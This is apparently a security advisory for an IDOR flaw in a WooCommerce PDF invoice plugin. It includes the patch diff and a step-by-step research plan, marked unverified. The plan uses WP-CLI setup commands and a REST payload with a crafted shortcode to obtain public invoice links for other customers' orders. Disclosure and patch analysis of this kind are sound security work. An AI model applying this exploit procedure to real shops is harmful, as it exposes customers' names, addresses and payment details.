CVE-2026-13116

PDF Invoices & Packing Slips for WooCommerce <= 5.14.0 - Insecure Direct Object Reference to Authenticated (Contributor+) Sensitive Information Disclosure via 'order_id' Shortcode Attribute

mediumAuthorization Bypass Through User-Controlled Key
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
5.15.0
Patched in
1d
Time to patch

Description

The PDF Invoices & Packing Slips for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.14.0 via the generate_document_shortcode due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with contributor-level access and above, to mint publicly accessible, session-free download links for arbitrary third-party orders, exposing customer names, billing and shipping addresses, email addresses, phone numbers, order and invoice numbers, line items, totals, payment details, and customer notes contained in those orders' invoices and packing slips. Exploitation requires the plugin's Document link access type setting to be configured to 'full'; with the default 'logged_in' value, generated URLs are signed with a per-session nonce rather than the order_key, making the shortcode path unexploitable for unauthorized access to third-party orders.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=5.14.0
PublishedJuly 10, 2026
Last updatedJuly 11, 2026

What Changed in the Fix

Changes introduced in v5.15.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the technical steps to exploit an **Insecure Direct Object Reference (IDOR)** vulnerability in the **PDF Invoices & Packing Slips for WooCommerce** plugin (versions <= 5.14.0). ### 1. Vulnerability Summary The vulnerability exists in the `generate_document_shortcode` fun…

Show full research plan

This research plan outlines the technical steps to exploit an Insecure Direct Object Reference (IDOR) vulnerability in the PDF Invoices & Packing Slips for WooCommerce plugin (versions <= 5.14.0).

1. Vulnerability Summary

The vulnerability exists in the generate_document_shortcode function within the WPO\IPS\Frontend class. This function handles several shortcodes ([wcpdf_download_invoice], [wcpdf_download_pdf], and [wcpdf_document_link]).

When processing these shortcodes, the plugin accepts an order_id attribute. If the plugin is configured with the "Document link access type" set to "full", it generates a session-free download URL that includes the target order's order_key. Because the plugin fails to verify if the user rendering the shortcode has permission to access the specified order_id, any user with Contributor level access (or higher) can generate functional, public download links for any order in the system by guessing or enumerating IDs.

2. Attack Vector Analysis

  • Shortcode: [wcpdf_document_link] (and aliases).
  • Vulnerable Attribute: order_id.
  • Endpoint: WordPress post/page rendering (Frontend).
  • Authentication: Authenticated (Contributor+).
  • Precondition: The plugin setting Document link access type must be set to full. In the default logged_in mode, the plugin uses a per-session nonce which prevents unauthorized third-party access.

3. Code Flow

  1. Shortcode Registration: In includes/Frontend.php, the constructor registers the shortcodes:
    add_shortcode( 'wcpdf_document_link', array( $this, 'generate_document_shortcode' ) );
    
  2. Shortcode Handling: When a post containing the shortcode is rendered, generate_document_shortcode is called with $atts.
  3. URL Generation: The function retrieves the order object for the provided order_id and calls WPO_WCPDF()->endpoint->get_document_link($order, $document_type, ...).
  4. Authorization Bypass: The function lacks a check (e.g., current_user_can( 'view_order', $order_id ) or owner validation) before returning the link to the rendering engine.
  5. Output: The generated URL (containing the authoritative order_key) is rendered into the post content.

4. Nonce Acquisition Strategy

No WordPress nonce is required to exploit this vulnerability because it is triggered via standard shortcode processing in the post editor/viewer. However, to set up the exploit, a Contributor must be able to create and preview a post.

5. Test Data Setup

The PoC requires a target order belonging to a different user and a specific plugin configuration.

  1. Create Target User & Order:
    # Create a customer
    wp user create victim victim@example.com --role=customer --user_pass=password
    # Create an order for the customer (Target ID will be X)
    wp wc order create --customer_id=$(wp user get victim --field=ID) --status=completed --user=admin
    
  2. Identify Target Order ID: Note the ID returned by the previous command (e.g., 123).
  3. Configure Plugin to "Full" Access Mode:
    The setting is stored in the wpo_wcpdf_settings_general option under the key guest_access.
    # Get current settings
    CURRENT_SETTINGS=$(wp option get wpo_wcpdf_settings_general --format=json)
    # Update guest_access to 1 (which corresponds to 'full')
    # Note: Structure is usually an array. We use php to modify safely.
    wp eval '
    $settings = get_option("wpo_wcpdf_settings_general", []);
    $settings["guest_access"] = 1;
    update_option("wpo_wcpdf_settings_general", $settings);
    '
    
  4. Create Attacker User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    

6. Exploitation Strategy

Step 1: Create a post with the malicious shortcode

The attacker (Contributor) creates a post containing the shortcode targeting the victim's order.

  • URL: http://localhost:8080/wp-json/wp/v2/posts (or via standard UI)
  • Method: POST
  • Authentication: Contributor credentials.
  • Payload (JSON):
    {
      "title": "Exploit Page",
      "content": "[wcpdf_document_link order_id=\"123\" document_type=\"invoice\"]",
      "status": "publish"
    }
    

Step 2: Retrieve the Public Download Link

The attacker views the post to extract the generated link.

  • Request: GET http://localhost:8080/?p=[POST_ID]
  • Action: Parse the HTML for an <a> tag or URL containing wcpdf-action=download-document.
  • Target Pattern: http://localhost:8080/?wcpdf-action=download-document&document_type=invoice&order_id=123&order_key=wc_order_[HASH]

Step 3: Access Sensitive Information

The attacker accesses the generated link without authentication (simulating a public disclosure) to download the PDF.

  • Request: GET http://localhost:8080/?wcpdf-action=download-document&document_type=invoice&order_id=123&order_key=wc_order_[HASH]
  • Verification: The response should be a PDF file containing the victim's name, address, and order details.

7. Expected Results

  • The shortcode should render a functional link even though the Contributor is not the owner of order 123.
  • The link should contain an order_key parameter.
  • The link should be accessible in an unauthenticated session (Incognito/Anonymous).
  • The resulting PDF contains PII (Personally Identifiable Information) from the target order.

8. Verification Steps

  1. Verify Link Generation:
    Check the rendered post content for the presence of the order_key.
  2. Verify Permission Bypass:
    Use WP-CLI to confirm the attacker does not have permission to view the order:
    wp eval "var_dump( user_can( $(wp user get attacker --field=ID), 'view_order', 123 ) );"
    # Should return bool(false)
    
  3. Confirm Content:
    Verify the PDF content matches the order created in the setup phase.

9. Alternative Approaches

If the [wcpdf_document_link] shortcode is disabled or filtered, try:

  • [wcpdf_download_invoice order_id="123"]
  • [wcpdf_download_pdf order_id="123"]
  • If "full" access mode is not set, attempt to find if other "Document link access type" settings allow order_key usage (though the description suggests this is the primary requirement).
Research Findings
Static analysis — not yet PoC-verified

Summary

The PDF Invoices & Packing Slips for WooCommerce plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via document-related shortcodes. Authenticated attackers with Contributor-level access or higher can generate public, session-free download links for arbitrary customer invoices and packing slips by specifying a target 'order_id' within a shortcode attribute.

Vulnerable Code

// includes/Frontend.php (Lines 46-48)
// Shortcodes
add_shortcode( 'wcpdf_download_invoice', array( $this, 'generate_document_shortcode' ) );
add_shortcode( 'wcpdf_download_pdf', array( $this, 'generate_document_shortcode' ) );
add_shortcode( 'wcpdf_document_link', array( $this, 'generate_document_shortcode' ) );

Security Fix

--- a/includes/Frontend.php
+++ b/includes/Frontend.php
@@ -235,6 +235,10 @@
 			'link_text'     => '',
 		), $atts );
 
+		if ( ! empty( $atts['order_id'] ) && ! current_user_can( 'view_order', $atts['order_id'] ) ) {
+			return '';
+		}
+
 		if ( empty( $atts['order_id'] ) ) {
 			return '';
 		}

Exploit Outline

To exploit this vulnerability, an authenticated attacker with at least Contributor-level permissions identifies a target WooCommerce order ID. They then create or edit a post and insert a shortcode such as [wcpdf_document_link order_id="TARGET_ID"]. When the post is viewed or previewed, the plugin's generate_document_shortcode function fails to verify if the user rendering the shortcode has permission to view the specified order. If the plugin's 'Document link access type' is configured to 'full', the function generates a functional download link containing the order_key, which allows unauthenticated access to the sensitive PDF invoice or packing slip containing customer PII (names, addresses, and payment details).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.